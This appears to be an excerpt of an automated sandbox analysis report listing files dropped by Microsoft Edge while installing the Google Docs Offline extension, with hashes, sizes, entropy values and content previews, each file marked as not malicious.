Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11406
Entropy (8bit):	5.745845607168024
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuH+svyw6r+cgTSJJT4LGkt:m8IEI4u8/EgG4
MD5:	0A68C9539A188B8BB4F9573F2F2321D6
SHA1:	E0F814FA4DCC04EDC6A5D39CBC1038979E88F0E5
SHA-256:	39E6C25D096AFD156644F07586D85E37F1F7B3DA9B636471E8D15CEB14DB184F
SHA-512:	13F133C173C6622B8E1B6F86A551CBC5B0B2446B3CF96E4AE8CA2646009B99E4A360C2DB3168CB94A488FAEBD215003DFA60D10150B7A85B5F8919900BD01CCC
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417954053901
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj17x9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/AP7xgiVb
MD5:	5E425DC36364927B1348F6C48B68C948
SHA1:	9E411B88453DEF3F7CFCB3EAA543C69AD832B82F
SHA-256:	32D9C8DE71A40D71FC61AD52AA07E809D07DF57A2F4F7855E8FC300F87FFC642
SHA-512:	C19217B9AF82C1EE1015D4DFC4234A5CE0A4E482430455ABAAFAE3F9C8AE0F7E5D2ED7727502760F1B0656F0A079CB23B132188AE425E001802738A91D8C5D79
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	122218
Entropy (8bit):	5.439997574414675
Encrypted:	false
SSDEEP:	1536:naCwKqAbNBbV9HGsR43l9S6w3xu7gXMgaG0R6RxNbF4Ki3wqP+PrQY2PEtb1B:Jfcs1XMr2zbF4Ki+PkPEfB
MD5:	67C4451398037DD1C497A1EA98227630
SHA1:	F5BB00D46BCAB5A8A02E68E4895AEB6859B74AA8
SHA-256:	59123D5A34A319791E90391FC55F0F4B8F5ABB6DB67353609DB25ACC3E99C166
SHA-512:	17F35CE2A11C26168CC52C4AE2BEC548A1AEB1B1F9CB3475B0552BDE71CFE94C5C0C4F3F51267EF7C7D9B0E01E1D1259F48968E70EE1E905471BA0C76ECA81EA
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ha=ea(this);function r(a,b){if(b)a:{var c=ha;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	130866
Entropy (8bit):	5.425065147784983
Encrypted:	false
SSDEEP:	1536:zKjBw7l0GLFqjLmqoTquyBQCGLu5fJDX5pwPGFSS2IH0dKxQ5SbNyO+DrxZlkaY8:XYQi3DX5WkfH0dKxdboDrNOdor
MD5:	1A8A1F4E5BA291867D4FA8EF94243EFA
SHA1:	B25076D2AE85BD5E4ABA935F758D5122CCB82C36
SHA-256:	441385D13C00F82ABEEDD56EC9A7B2FE90658C9AACB7824DEA47BB46440C335B
SHA-512:	F05668098B11C60D0DDC3555FCB51C3868BB07BA20597358EBA3FEED91E59F122E07ECB0BD06743461DFFF8981E3E75A53217713ABF2A78FB4F955641F63537C
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\a9ce90b6-367f-4144-9254-71d382b210d8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
